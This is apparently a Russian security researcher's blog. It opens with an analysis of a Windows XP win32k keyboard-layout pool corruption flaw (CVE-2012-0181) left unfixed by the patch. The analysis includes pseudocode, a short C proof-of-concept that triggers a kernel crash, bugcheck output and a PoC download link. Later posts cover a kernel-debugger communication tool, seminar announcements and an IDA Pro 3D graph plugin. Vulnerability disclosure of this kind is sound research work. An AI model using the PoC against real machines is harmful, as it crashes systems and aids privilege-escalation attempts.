Так как помимо идентификаторов загружаемой раскладки win32k!NtUserLoadKeyboardLayoutEx() принимает параметр Handle (дескриптор файла) – это позволяет простым образом загрузить произвольный файл клавиатурной раскладки без необходимости создавать каких-либо ключей реестра в HKEY_LOCAL_MACHINE (собственно, одно из необходимых условий для Local Privileges Escalation из-под низко привилегированной учётной записи). Так же стоит обратить внимание на параметр offTable. Младшие 16 бит этой переменной используются как RVA адрес, по которому в PE-образе файла клавиатурной раскладки находится структура _KBDTABLES (с неё и начинается описание данных раскладки), старшие 16 бит – это аналогичный RVA адрес структуры _KBDNLSTABLES.

Основная работа по чтению и обработке данных из файла клавиатурной раскладки происходит в функции win32k!ReadLayoutFile(), стек вызовов к которой выглядит следующим образом:
ChildEBP RetAddr  
f877990c bf881e25 win32k!ReadLayoutFile
f877992c bf8b9574 win32k!LoadKeyboardLayoutFile+0x6a
f87799b4 bf92a002 win32k!xxxLoadKeyboardLayoutEx+0x1b1
f8779d40 8053d6f8 win32k!NtUserLoadKeyboardLayoutEx+0x164
f8779d40 7c90e514 nt!KiFastCallEntry+0xf8

В данной функции реализован небольшой PE-загрузчик, в коде которого и кроется целый ряд уязвимостей. Псевдокод данной функции для Windows XP приведён ниже:
1 PKBDTABLES ReadLayoutFile( 2 PKBDFILE pkf, 3 HANDLE hFile, 4 UINT offTable, 5 PKBDNLSTABLES *ppNlsTables) 6 { 7 // ... 8 9 // Смещение _KBDNLSTABLES 10 UINT offNlsTable = HIWORD(offTable); 11 12 // Смещение _KBDTABLES 13 offTable &= 0x0000FFFF; 14 15 /* 16 Здесь происходит чтение содержимого файла. 17 ... 18 */ 19 20 NumberOfSubsections = NtHeader->FileHeader.NumberOfSections; 21 22 OffsetToSectionTable = sizeof(ULONG) + 23 sizeof(IMAGE_FILE_HEADER) + 24 NtHeader->FileHeader.SizeOfOptionalHeader; 25 26 SectionTableEntry = (PIMAGE_SECTION_HEADER)((PBYTE)NtHeader + 27 OffsetToSectionTable); 28 29 // Поиск секции данных. 30 while (NumberOfSubsections > 0) 31 { 32 if (strcmp(SectionTableEntry->Name, ".data") == 0) 33 break; 34 35 SectionTableEntry++; 36 NumberOfSubsections--; 37 } 38 39 if (NumberOfSubsections == 0) 40 { 41 goto exitread; 42 } 43 44 // We found the section, now compute starting offset and the table size. 45 offTable -= SectionTableEntry->VirtualAddress; 46 dwDataSize = SectionTableEntry->Misc.VirtualSize; 47 48 pBaseDst = UserAllocPool(dwDataSize, TAG_KBDTABLE); 49 if (pBaseDst != NULL) 50 { 51 VK_TO_WCHAR_TABLE *pVkToWcharTable; 52 VSC_LPWSTR *pKeyName; 53 LPWSTR *lpDeadKey; 54 55 pkf->hBase = (HANDLE)pBaseDst; 56 RtlMoveMemory(pBaseDst, (PBYTE)DosHdr + 57 SectionTableEntry->PointerToRawData, dwDataSize); 58 59 if (ISTS()) { 60 pkf->Size = dwDataSize; // For shadow hotkey processing 61 } 62 63 // Compute table address and fixup pointers in table. 64 pktNew = (PKBDTABLES)(pBaseDst + offTable); 65 66 // The address in the data section has the virtual address 67 // added in, so we need to adjust the fixup pointer to 68 // compensate. 69 pBaseVirt = pBaseDst - SectionTableEntry->VirtualAddress; 70 71 FIXUP_PTR(pktNew->pCharModifiers, pBaseVirt); 72 FIXUP_PTR(pktNew->pCharModifiers->pVkToBit, pBaseVirt); 73 74 if (FIXUP_PTR(pktNew->pVkToWcharTable, pBaseVirt)) 75 { 76 for (pVkToWcharTable = pktNew->pVkToWcharTable; 77 pVkToWcharTable->pVkToWchars != NULL; pVkToWcharTable++) 78 FIXUP_PTR(pVkToWcharTable->pVkToWchars, pBaseVirt); 79 } 80 81 /* 82 Здесь пропущено множество вызовов FIXUP_PTR() для внутренних структур 83 клавиатурной раскладки. 84 ... 85 */ 86 87 if (offNlsTable) 88 { 89 // Compute table address and fixup pointers in table. 90 offNlsTable -= SectionTableEntry->VirtualAddress; 91 pknlstNew = (PKBDNLSTABLES)(pBaseDst + offNlsTable); 92 93 // Fixup the address. 94 FIXUP_PTR(pknlstNew->pVkToF, pBaseVirt); 95 FIXUP_PTR(pknlstNew->pusMouseVKey, pBaseVirt); 96 97 // Save the pointer. 98 *ppNlsTables = pknlstNew; 99 100 // ... 101 } 102 } 103 104 // ... 105 }

Макрос FIXUP_PTR() используется для реализации базовых поправок указателей:
#define FIXUP_PTR (p, pBase) ((p) ? (p) = (PVOID)((PBYTE)pBase + (WORD)(ULONG_PTR)(p)) : 0)

Уязвимость

 Как видно, какие либо проверки корректности PE-образа и находящихся в нём структур – отсутствуют. Приведенный код функции win32k!ReadLayoutFile() отличается от такового в более поздних версиях операционной системы. Начиная с Windows Server 2003 в нём таки добавились проверки структуры PE файла на предмет корректности, а так же проверка упомянутых выше смещений, берущихся из параметра offTable. Кроме того, начиная с Windows Vista в функции win32k!xxxLoadKeyboardLayoutEx() появились проверки на предмет того, находится ли файл, дескриптор которого передаётся в win32k!NtUserLoadKeyboardLayoutEx(), в директории %SystemRoot%\system32. Благодаря этому, по замыслу вендора, любые уязвимости при обработке клавиатурных раскладок на NT 6.x (включая CVE-2010-2743, которую использовал червь Stuxnet) могут быть полезны разве что в контексте Local Admin to Ring 0 атак, но не для «настоящего» повышения привилегий.

Согласно информации от исследователей из Core Security, нашедших уязвимость CVE-2012-0181, она является, вроде бы как, переполнением хипа, что действительно так для Windows 2003 Server и старше. Однако, для Windows XP описание эксплуатации этой уязвимости (как и сама уязвимость, вместе с заплаткой к ней) не совсем соответствуют реальной ситуации. Попробуем разобраться, в чём же дело.

Как следует из скудного описания – CVE-2012-0181 позволяет перезаписать 1, 2 или 3 байта за границей выделенного участка пула ядра из-за некорректной проверки границ значения offTable. В ответ на эту уязвимость Microsoft выпустила патч, в котором реализовано:

  • Корректная проверка значения offTable для всех версий Windows, начиная с Server 2003.
  • На XP и Server 2003 был перенесён (см. «Keyboard layout behavior introduced with Windows Vista conditionally applied down-level») уже упомянутый код из более поздних версий Windows, который разрешает загружать клавиатурные раскладки только из тех файлов, которые хранятся директории %SystemRoot%\system32. В исправленном после выхода MS12-034 модуле win32k.sys функция win32k!xxxLoadKeyboardLayoutEx() вызывается через специальную обёртку win32k!xxxSafeLoadKeyboardLayoutEx(), которая так же вызывает функцию win32k!ConvertHandleAndVerifyLoc (), где и проверяется путь к файлу.

Однако, не смотря на то, что в описании CVE-2012-0181 Windows XP явно фигурирует как vulnerable target – на ней так и не реализовали должной проверки значения offTable! Благодаря такому упущению пользователи Windows XP, фактически, остались уязвимы даже не смотря на то, что патч запретил загрузку клавиатурных раскладок из произвольных файлов. Если честно, причина столь идиотской реализации патча является загадкой и для меня самого, но можно предположить, что дело в следующем:

  1. Информация об уязвимости и её эксплуатации, которая содержится во writeup-е от Core Security, касается, предположительно, только версий Windows начиная с Server 2003. Слово «предположительно» в данном случае я употребил потому, что вместо внятного описания уязвимого фрагмента кода с приведением дизассемблерного листинга Core Security привёл только общие слова.
  2. Microsoft, получив от Core Security описание уязвимости и PoC-код к ней, не смогли воспроизвести проблему на Windows XP, и вместо полного аудита кода проблемных функций на всех платформах ограничились быстрыми и грязными хаками. 

Так это или нет – но в настоящий момент ядро Windows XP действительно содержит почти-0day уязвимость, PoC код для которой выглядит следующим образом:
1 /* 2 Когда offTable равен 0 -- смещение _KBDTABLES, которое используется 3 в win32k!ReadLayoutFile(), после вычитания из offTable виртуального адреса 4 секции данных равняется 0xfffff000: 5 6 win32k!ReadLayoutFile+0x6f (*): 7 mov esi,dword ptr [ebp+10h] ; offTable value 8 sub esi,dword ptr [eax+0Ch] ; Section RVA, 0x1000 9 10 Из-за этого происходит перезапись данных за границами выделенного участка пула, 11 при попытке применения базовых поправок к указателями внутри структур _KBDTABLES 12 и др. 13 14 ---- 15 (*) Версия win32k.sys -- 5.1.2600.6206 16 */ 17 18 HANDLE hFile = CreateFile( 19 "C:\\Windows\\system32\\KBDUS.DLL", 20 GENERIC_READ, FILE_SHARE_READ, 21 NULL, 22 OPEN_EXISTING, 23 0, NULL 24 ); 25 26 HKL hKl = GetKeyboardLayout( 27 GetWindowThreadProcessId(GetForegroundWindow(), GetCurrentProcessId()) 28 ); 29 30 DWORD dwId = 0x00031337; 31 UNICODE_STRING usLayoutName, usLayoutId; 32 WCHAR Id[20]; 33 34 wsprintfW(Id, L"%.8x", dwId); 35 RtlInitUnicodeString(&usLayoutName, NULL); 36 RtlInitUnicodeString(&usLayoutId, Id); 37 38 NtUserLoadKeyboardLayoutEx( 39 hFile, 40 0, // <-- offTable 41 &usLayoutName, 42 hKl, 43 &usLayoutId, dwId, 44 0x101 45 );

Исполнение этого кода приводит к аварийному завершению работы системы в следствии обращения по недействительному адресу памяти:
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e10650d3, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: bf881fb6, If non-zero, the instruction address which referenced the bad memory
 address.
Arg4: 00000001, (reserved)

Debugging Details:
------------------


READ_ADDRESS:  e10650d3 Paged pool

FAULTING_IP: 
win32k!ReadLayoutFile+183
bf881fb6 803800          cmp     byte ptr [eax],0

MM_INTERNAL_CODE:  1

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  4f85831a

MODULE_NAME: win32k

FAULTING_MODULE: bf800000 win32k

DEFAULT_BUCKET_ID:  DRIVER_FAULT

BUGCHECK_STR:  0x50

PROCESS_NAME:  win32k_Keyboard

TRAP_FRAME:  b191c884 -- (.trap 0xffffffffb191c884)
ErrCode = 00000000
eax=e10650d3 ebx=e105b008 ecx=e105b008 edx=00000000 esi=e106ac08 edi=e105c008
eip=bf881fb6 esp=b191c8f8 ebp=b191c90c iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010282
win32k!ReadLayoutFile+0x183:
bf881fb6 803800          cmp     byte ptr [eax],0           ds:0023:e10650d3=??
Resetting default scope

LAST_CONTROL_TRANSFER:  from 804f7b8b to 80527c24

STACK_TEXT:  
b191c3c0 804f7b8b 00000003 e10650d3 00000000 nt!RtlpBreakWithStatusInstruction
b191c40c 804f8778 00000003 00000000 c0708328 nt!KiBugCheckDebugBreak+0x19
b191c7ec 804f8ca3 00000050 e10650d3 00000000 nt!KeBugCheck2+0x574
b191c80c 8051cc4f 00000050 e10650d3 00000000 nt!KeBugCheckEx+0x1b
b191c86c 805405f4 00000000 e10650d3 00000000 nt!MmAccessFault+0x8e7
b191c86c bf881fb6 00000000 e10650d3 00000000 nt!KiTrap0E+0xcc
b191c90c bf881e25 e208f8e8 e10611c8 e105c008 win32k!ReadLayoutFile+0x183
b191c92c bf8b9574 800003a4 00000000 00000000 win32k!LoadKeyboardLayoutFile+0x6a
b191c9b4 bf92a002 82273e08 800003a4 04090409 win32k!xxxLoadKeyboardLayoutEx+0x1b1
b191c9f0 bf8b91b5 82273e08 0000003c 04090409 win32k!xxxSafeLoadKeyboardLayoutEx+0xa9
b191cd40 8053d6f8 0000003c 00000000 0012fec8 win32k!NtUserLoadKeyboardLayoutEx+0x164
b191cd40 004011c4 0000003c 00000000 0012fec8 nt!KiFastCallEntry+0xf8
0012ff7c 004015de 00000001 00363c48 00362e80 win32k_KeyboardLayout_expl!NtUserLoadKeyboardLayoutEx+0x14 
0012ffc0 7c817077 00330036 00360038 7ffdd000 win32k_KeyboardLayout_expl!__tmainCRTStartup+0x10f
0012fff0 00000000 00401726 00000000 78746341 kernel32!BaseProcessStart+0x23

Эксплуатация

Таким образом, уязвимость относится к классу Pool Corruption, и позволяет перезаписать некоторое количество указателей, которые находятся в границах от 0 до 0xFFFF относительно участка пула, выделенного под структуры клавиатурной раскладки (обычно, их размер составляет несколько Кб). Однако, на практике эксплуатация данной уязвимости сложнее, чем в случае с обычным переполнением. Данные, которыми перезаписывается указатель за границами участка пула, не контролируются атакующим непосредственно, а являются производными от макроса FIXUP_PTR() и зависят как от оригинального содержимого перезаписываемой памяти, так и от адреса участка пула, выделенного под данные клавиатурной раскладки (см. pBaseVirt в листинге win32k!ReadLayoutFile).

В связи с тем, что из-за специфики уязвимости разработка стабильного reliable эксплойта под неё является достаточно сложной задачей (но не факт что принципиально не решаемой) – я выкладываю в широкий доступ 0day PoC для изучения всеми желающими.

http://dl.dropbox.com/u/22903093/win32k_KeyboardLayout_expl-18.05.12.rar
 

Выводы?

Для пользователей – не доверять обновлениям безопасности. Вендорам – не лениться делать нормальный аудит кода во избежание таких глупых факапов как этот.

понедельник, 14 ноября 2011 г.

DbgCb: интеграция приложения/драйвера с удалённым отладчиком ядра

Думаю, для многих программистов и исследователей набор вида "виртуальная машина с Windows + WinDbg в качестве удалённого отладчика режима ядра" давно стал привычным и необходимым инструментом. Для того, что бы выжать из такой связки максимум возможностей и упростить рутинную работу, многие применяют вещи вроде скриптовых движков для отладчика (pykd, IDAPython) или отдельных врапперов для отладочных интерфейсов Windows (PyDbg).

Однако, очень часто возникает задача не только частичной автоматизации работы отладчика, но и необходимость взаимодействия с ним из кода отлаживаемого на удалённой системе приложения или драйвера. В стандартном случае, это самое приложение или драйвер о присутствии удалённого отладчика вообще ничего не знает, но при решении некоторых задач для него было бы полезно получать от отладчика разного рода информацию а так же исполнять в его контексте команды без непосредственного участия человека.

Примеры из жизни, где подобные механизмы интеграции приложения/драйвера с отладчиком были бы кстати:
  • Исследование программ и компонентов операционной системы в процессе их работы, в ходе которого может понадобится устанавливать перехваты кода, и делать достаточно сложную обработку полученных данных, для реализации которой попросту не хватит возможностей (или производительности) скрипта на pykd, использующего точки останова.
  • Иногда, для того что бы быстро проверить какую-то идею/технологию, бывает необходимо прямо в "живой" проект добавить код, работающий с какими-либо не экспортируемыми функциями операционной системы (или недокументированными структурами), но вместо жесткого хардкодинга их адресов/смещений было бы удобно "спросить" об этих адресах/смещениях удалённый отладчик, который может извлечь всю необходимую информацию из доступных ему актуальных отладочных символов.
  • В процессе отладки своего кода бывает необходимо с некоторой периодичностью выполнять определённые манипуляции в отладчике (вывести стек вызовов в определённой точке, снять/установить точку останова в момент наступления какого-то события, итд.), без необходимости отвлекаться на, собственно, сам отладчик.
Для решения таких вот небольших повседневных задач я разработал инструмент, под названием DbgCb (Kernel Debugger Communication Engine), который и хочу представить широкому вниманию в данной заметке.

Функционально DbgCb состоит из двух компонентов:
  • Клиентский код, встраиваемый в приложение или драйвер, из которого доступен ряд функций, совершающих полезные действия с удалённым ядерным отладчиком.
  • Расширение для Windows Debugging Tools - выполнено в виде плагина для отладчика WinDbg/KD, предназначено для обработки запросов от клиентского кода.



Взаимодействие этих компонентов реализовано тривиально: плагин для WinDbg использует интерфейс IDebugEventCallbacks, позволяющий ему отслеживать различные события (срабатывание точек останова, изменения состояния отлаживаемой системы, итд.), а клиентский код, при вызове полезной функции, просто генерирует #DB (debug exception), поместив перед этим в регистры процессора специальные "магические" константы, значения которых и сообщают плагину о том, выполнение какой операции от него требуется.

Клиентский код выполнен в виде небольшого фрагмента на языке C, который может быть встроен в произвольное приложение или драйвер, а так же оформлен как библиотека. В текущей версии, в нём реализованы следующие три полезных функции:

1 /** 2 * Execute debuuger command (IDebugControl::Execute()). 3 */ 4 BOOLEAN dbg_exec(PCHAR lpFormat, ...); 5 6 /** 7 * Evaluate debuuger expression (IDebugControl::Evaluate()). 8 */ 9 PVOID dbg_eval(PCHAR lpFormat, ...); 10 11 /** 12 * Get offset of the some structure field 13 */ 14 LONG dbg_field_offset(PCHAR lpFormat, ...);


Пример использования API клиентского кода DbgCb в драйвере режима ядра:

1 NTSTATUS NTAPI DriverEntry( 2 PDRIVER_OBJECT DriverObject, 3 PUNICODE_STRING RegistryPath) 4 { 5 DriverObject->DriverUnload = DriverUnload; 6 7 DbgPrint(__FUNCTION__"()\n"); 8 9 // Test debugger command execution. 10 if (dbg_exec(".printf /D \"<b>Hello from " __FUNCTION__ "()</b>\\n\"")) 11 { 12 // another DML example 13 dbg_exec( 14 ".printf /D \"<exec cmd=\\\"!drvobj "IFMT"\\\">" 15 "Show _DRIVER_OBJECT information.</exec>\\n\"", 16 DriverObject 17 ); 18 19 DbgPrint("Breaking into the kernel debugger (check the DML link above)...\n"); 20 DbgBreakPoint(); 21 22 // Test symbol querying. 23 PVOID Addr = dbg_eval("nt!KiDispatchException"); 24 if (Addr) 25 { 26 DbgPrint("<?dml?><b>nt!KiDispatchException() is at "IFMT"</b>\n", Addr); 27 } 28 else 29 { 30 DbgPrint(__FUNCTION__"() ERROR: dbg_eval() fails\n"); 31 } 32 33 // Test structure field offset querying. 34 LONG Offset = dbg_field_offset("nt!_EPROCESS::ImageFileName"); 35 if (Offset >= 0) 36 { 37 DbgPrint("<?dml?><b>_EPROCESS::ImageFileName offset is 0x%x</b>\n", Offset); 38 } 39 else 40 { 41 DbgPrint(__FUNCTION__"() ERROR: dbg_field_offset() fails\n"); 42 } 43 } 44 else 45 { 46 DbgPrint(__FUNCTION__"() WARNING: dbgcb extension is not loaded\n"); 47 } 48 49 return STATUS_SUCCESS; 50 }

Исходный код DbgCb доступен в репозитории на GitHub, и включает в себя:
  • ./dbgcb/ - Исходные тексты расширения для отладчика.
  • ./dbgcb.dll, ./dbgcb_x64.dll - Исполняемые файлы расширения для отладчика WinDbg/KD.
  • ./common/ - Исходные тексты клиентского кода.
  • ./dbgcb_app/ - Исходные тексты примера использования клиентского кода в приложении.
  • ./dbgcb_app.exe./dbgcb_app_x64.exe - Исполняемые файлы примера приложения.
  • ./dbgcb_drv/ - Исходные тексты примера использования клиентского кода в драйвере.
  • ./dbgcb_drv.sys./dbgcb_drv_x64.sys - Исполняемые файлы примера драйвера.
Перед запуском примера драйвера или приложения, в среде отлаживаемой операционной системы, необходимо выполнить загрузку модуля DbgCb в отладчик, используя команду ".load dbgcb.dll".

При запуске примера драйвера в Command Window отладчика появятся следующие сообщения, свидетельствующие о том, что Kernel Debugger Communication Engine работает:



Помимо пользы для исследовательских задач, данный инструмент существенно облегчает мне жизнь при анализе уязвимостей и отладке приложений, использующих глубокую интеграцию с системой не совсем "легальными" способами. Возможно, кому-то из вас он так же пригодится.

Идеи по реализации дополнительных возможностей в рамках API клиентского кода очень приветствуются, и принимаются к рассмотрению для реализации.


понедельник, 10 октября 2011 г.

Анонс семинаров в хакспейсе Neuron

Репост из блога Esage Lab

В октябре я буду проводить в хакспейсе цикл из трёх семинаров, которые будут посвящены технологиям поиска уязвимостей и исследования кода. В данные семинары войдет довольно много материала: часть его была представлена в прошлых публикациях и выступлениях, часть была изложена в виде лекций стажерам Esage Lab этим летом, часть будет дана мной широкой публике впервые. Фактически, все семинары являются экстраполяцией моего опыта и исследований в теме поиска уязвимостей, которая будет разбавлена личным видением того, как лучше организовывать те или иные вещи.

1. Фаззинг: автоматизированный поиск уязвимостей в программном обеспечении

Первый семинар цикла будет рассчитан в большей степени на тех людей, для которых тема фаззинга является новой или малоизученной. В рамках данного семинара слушателям будет дано системное изложение основных концепций фаззинга как технологического процесса и его разновидностей как для узкоспециализированных задач, так и для задач широкого класса. Я подробно рассмотрю технические аспекты реализации различных этапов фаззинга, расскажу про существующие инструменты, которые призваны облегчить работу исследователя, и приведу практические примеры автоматизированного нахождения уязвимостей в реальных программных продуктах.

Дата проведения: 12 Октября (Среда), 19:00

2. Уязвимости в ядре, драйверах и других ring0 компонентах операционных систем семейства Windows NT

Так как исследование безопасности Windows NT является одним из моих самых приоритетных направлений развития и работы - этот семинар должен получиться наиболее интересным с практической точки зрения. Для полноценного усваивания материала от слушателя потребуются наличие общих представлений об архитектуре современных операционных систем и природе уязвимостей в программном коде. В ходе семинара будут подробно рассмотрены типовые уязвимости в ядре и драйверах режима ядра Windows, векторы атак на компоненты режима ядра, особенности работы отдельных механизмов, некорректное обращение с которыми наиболее часто является причиной уязвимостей. Так же я подробно расскажу об архитектуре графической подсистемы Windows (win32k.sys, CSRSS) и уязвимостях в ней. В завершении семинара будут рассмотрены практические аспекты реализации эксплойтов для уязвимостей в компонентах режима ядра а так же различные трудности на этом пути и варианты их решения.

 Дата проведения: 19 Октября (Среда), 19:00

3. Инструменты динамического анализа кода

Поскольку задачи динамического анализа кода очень часто связанны именно с автоматизированным поиском уязвимостей, и являются очень интересными сами по себе - было решено организовать отдельный семинар, посвящённый полностью этой теме. В ходе семинара будут рассмотрены, применительно к решению конкретных типов задач, принципы работы множества инструментов, использующих в своей основе самые разные подходы к динамическому анализу кода: от банальной трассировки, до динамической рекомпиляции и виртуализации. Многие разработки, о которых будет идти речь, являются передним фронтом не только области безопасности программного обеспечения, но и computer science как таковой.

Дата проведения: ???

Мероприятия носят открытый характер. Для посещения семинаров нужно предварительно «зарегистрироваться», написав на neuron@hackspace.ru о том кто вы и откуда, и что планируете прийти к нам в гости.

Я надеюсь, что в дальнейшем регулярное проведение интересных технических семинаров и докладов в хакспейсе Neuron станет традиционным, и к нему, кроме меня, подключатся и другие исследователи которым есть что рассказать, причём не только по темам, имеющим отношение к безопасности.

четверг, 23 июня 2011 г.

3D графика как инструмент реверс-инженера

Интерфейс взаимодействия между человеком и компьютером за прошедшие десятки лет практически не претерпел фундаментальных изменений, и в настоящее время по прежнему представляет собой либо командную строку, либо плоские "окна". Однако, существуют определённые научные дисциплины, обработка данных для которых с помощью компьютера не мыслима без использования 3D графики. К таким дисциплинам относятся различного рода инженерия, клеточная и молекулярная биология, физика высоких частиц и многие другие. Одним словом, все те области, которые требуют работы с большими объёмами данных со сложной структурой, организацией и множественными связями.

При работе в области программирования а в особенности - реверс-инженеринга, технический специалист, вроде бы как, тоже сталкивается с подобными данными, однако, на сегодняшний день 3D графика (или что-либо с ней связанное), как рабочий инструмент, не имеет широкого распространения в области информационной безопасности. В данной записи речь будет идти про интеграцию библиотеки UbiGraph в программный пакет IDA Pro с целью получения средства для визуализации графа связей между процедурами исследуемого кода.

UbiGraph представляет собой универсальную библиотеку, которая предоставляет API для построения динамических трёхмерных графов. Благодаря использованию клиент-серверной архитектуры со взаимодействием через XML-RPC for C он имеет легковесные биндинги для большинства популярных языков программирования. Для того что бы увидеть возможности этой интереснейшей разработки достаточно просмотреть ролики на YouTube по соответствующим ключевым словам.

Ниже продемонстрирован пример кода на Python, использующий UbiGraph API.

 1 import ubigraph
 2 
 3 U = ubigraph.Ubigraph()
 4 U.clear()
 5 
 6 x = U.newVertex(shape="sphere", color="#ffff00")
 7 
 8 smallRed = U.newVertexStyle(shape="sphere", \
 9   color="#ff0000", size="0.2")
10 
11 previous_r = None
12 for i in range(0, 10):
13 
14   r = U.newVertex(style=smallRed, label=str(i))
15   U.newEdge(x, r, arrow=True)
16 
17   if previous_r != None:
18 
19     U.newEdge(r, previous_r, spline=True, stroke="dashed")
20 
21   previous_r = r
22

Однако, UbiGraph обладает рядом недостатков:
  • Закрытый исходный код сервера.
  • Исполняемый файл сервера доступен только для платформ Linux и OS X
  • Проект, судя по всему, заброшен и не развивается с 2008-го года. Связаться с разработчиком что бы разузнать о деталях текущего состояния проекта (или получить на каких-либо условиях его исходный код) мне так и не удалось.
Но даже не смотря на все эти недостатки - не представляется реальным найти альтернативные разработки, которые бы по гибкости и возможностям приближались бы к UbiGraph. В связи с этим было решено провести ряд экспериментов именно с ним, поставив перед собой цель выяснить на практике перспективы применения 3D визуализаций в реверс-инженеринге.

Рассмотрим "обычный" граф процедур в IDA, который был получен при помощи плагина MyNav:



... и вид этого же (относительно простого и наглядного) графа в 3D, который строится модифицированной для работы с сервером UbiGraph версией MyNav 1.1:



На первый взгляд - существенных преимуществ 3D в данном примере не имеет, однако, благодаря тому, что такой граф можно вращать во всех плоскостях и масштабировать без существенных "тормозов" даже при огромном количестве узлов - его становится банально удобнее использовать для навигации по коду исследуемого файла.

Разумеется, удобство является сугубо индивидуальным понятием, и каждый человек принимает относительно него какие-либо выводы опираясь исключительно на собственные ощущения. Я позиционирую результат проделанной мной работы как возможность взглянуть на привычный всем анализ дизасембилрованного кода под новым, интересным углом, а завершенным продуктом, который "совершит революцию", инструмент, о котором идет речь, ни коим образом не является уж точно.

Настройка рабочей среды

Как было упомянуто выше, UbiGraph запускается только на Linux и OS X. Исследователи, которые работают с IDA в среде данных операционных систем, не будут обременены сложными настройками в принципе, поэтому, далее подробно будет рассказано о настройке рабочей среды для UbiGraph на базе Windows.

Для этого потребуется следующий софт:
  • Виртуальная машина с установленным Linux (дистрибутив не принципиален).
  • X-Сервер для Windows (я использую Xming).
  • IDA Pro версии от 5.7 и старше (можно использовать 6.1 Demo c официального сайта).
  • Python плагин для IDA (для версии Python 2.6.x) и, разумеется, установленный в системе интерпретатор Python 2.6.x.
Суть всех манипуляций по настройке заключается в том, что UbiGraph будет запущен в виртуальной машине с Linux, но при этом его окно с графом будет выводится на Windows-хост благодаря работающему на нем X-серверу:


На Linux загружаем и распаковываем последнюю версию UbiGraph:

# wget http://ubietylab.net/files/alpha-0.2.4/UbiGraph-alpha-0.2.4-Linux32-Debian-4.tgz
# tar -xpf UbiGraph-alpha-0.2.4-Linux32-Debian-4.tgz
# cd UbiGraph-alpha-0.2.4-Linux32-Debian-4/bin/
# ls -la
total 1658
drwxr-xr-x 2 user user     120 May 29  2008 .
drwxr-xr-x 6 user user     328 May 29  2008 ..
-rw-r--r-- 1 user user     927 May 29  2008 REQUIRED_LIBS.txt
-rwxr-xr-x 1 user user 1689496 May 29  2008 ubigraph_server

После этого в Linux систему потребуется установить все библиотеки, с которыми динамически слинкован исполняемый файл ubigraph_server:

# ldd ubigraph_server
 linux-gate.so.1 =>  (0xffffe000)
 libpthread.so.0 => /lib/libpthread.so.0 (0xb789d000)
 libglut.so.3 => /usr/lib/libglut.so.3 (0xb7869000)
 libGL.so.1 => //usr/lib/opengl/xorg-x11/lib/libGL.so.1 (0xb7811000)
 libidn.so.11 => /usr/lib/libidn.so.11 (0xb77de000)
 libstdc++.so.6 => /usr/lib/gcc/i686-pc-linux-gnu/4.4.3/libstdc++.so.6 (0xb76ed000)
 libm.so.6 => /lib/libm.so.6 (0xb76c7000)
 libgcc_s.so.1 => /usr/lib/gcc/i686-pc-linux-gnu/4.4.3/libgcc_s.so.1 (0xb76a9000)
 libc.so.6 => /lib/libc.so.6 (0xb7565000)
 libGLU.so.1 => /usr/lib/libGLU.so.1 (0xb74f6000)
 libdl.so.2 => /lib/libdl.so.2 (0xb74f2000)
 /lib/ld-linux.so.2 (0xb78c8000)
 libX11.so.6 => /usr/lib/libX11.so.6 (0xb73d2000)
 libXext.so.6 => /usr/lib/libXext.so.6 (0xb73c1000)
 libXxf86vm.so.1 => /usr/lib/libXxf86vm.so.1 (0xb73bb000)
 libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0xb73b7000)
 libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb73b1000)
 libX11-xcb.so.1 => /usr/lib/libX11-xcb.so.1 (0xb73ae000)
 libxcb-glx.so.0 => /usr/lib/libxcb-glx.so.0 (0xb739a000)
 libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb737f000)
 libdrm.so.2 => /usr/lib/libdrm.so.2 (0xb7374000)
 libXau.so.6 => /usr/lib/libXau.so.6 (0xb7370000)
 libXdmcp.so.6 => /usr/lib/libXdmcp.so.6 (0xb736a000)
 librt.so.1 => /lib/librt.so.1 (0xb7360000)

Обычно, данный шаг не влечет за собой каких-либо проблем, и в моем Gentoo ubigraph_server без проблем запустился после установки всего, что фигурирует в выдаче ldd выше. Далее, на Windows следует запустить X-Сервер (Xming), для этого удобно создать ярлык со следующей командной строкой:

"С:\Program Files\Xming\Xming.exe" -clipboard -ac -multiwindow :0

После этого в Linux запускаем ubigraph_server:

# DISPLAY=192.168.254.1:0 ./ubigraph_server
freeglut (./ubigraph_server): Unable to create direct context rendering for window 'Ubigraph'
This may hurt performance.
freeglut (./ubigraph_server): Unable to create direct context rendering for window 'freeglut menu'
This may hurt performance.
1 processors
Using single-level layout.
Running Ubigraph/XML-RPC server.

... где 192.168.254.1 -- IP адрес Windows хоста с работающим X-Сервером. Если настройки верны и все шаги были выполнены правильно -- в Windows системе появится пустое чёрное окно UbiGraph. После этого переходим к настройкам IDA Pro.

Настройка IDA Pro

В качестве основы для плагина, который позволял бы выводить граф процедур с помощью UbiGraph, мной был использован написанный на Python плагин MyNav:

MyNav is a plugin for IDA Pro to help reverse engineers in the most typical task like discovering what functions are responsible of some specifical tasks, finding paths between "interesting" functions and data entry points.

Разработанный патч для данного плагина добавляет в его классы построения графов код взаимодействия с сервером UbiGraph. Архив, который включает в себя помимо патча уже модифицированную версию MyNav 1.1 доступен для загрузки в репозитории проекта IDA-UbiGraph на GitHub.

Установка плагина происходит в несколько шагов:
  1. Установите IDAPython согласно инструкциям в его документации.
  2. Из архива IDA-UbiGraph скопируйте в каталог установленной IDA Pro директорию mynav-1.1-ubigraph.
  3. Из архива IDA-UbiGraph скопируйте в каталог установленной IDA Pro файл ubicallback.pyd -- это Python модуль, который используется для обработки on-click событий по узлам графа в окне UbiGraph.
После этого необходимо отредактировать настройки плагина в файле mynav-1.1-ubigraph/ubiconfig.py, указав в нем адреса Linux хоста (на котором запускается ubigraph_server), и Windows хоста (на котором запускается IDA Pro):

 1 
 2 ubi_graph = None
 3 ubi_is_initialized = False
 4 
 5  # ubigraph server XMLRPC URL
 6 ubi_server_url = "http://192.168.254.100:20738/RPC2"
 7 
 8 # ubigraph client IP address 
 9 # i.e., host that runs IDA
10 ubi_local_addr = "192.168.254.1"
11 
12 #
13 # If you're using IDA and UbiGraph server on the
14 # same machine - just write 127.0.0.1 in both of
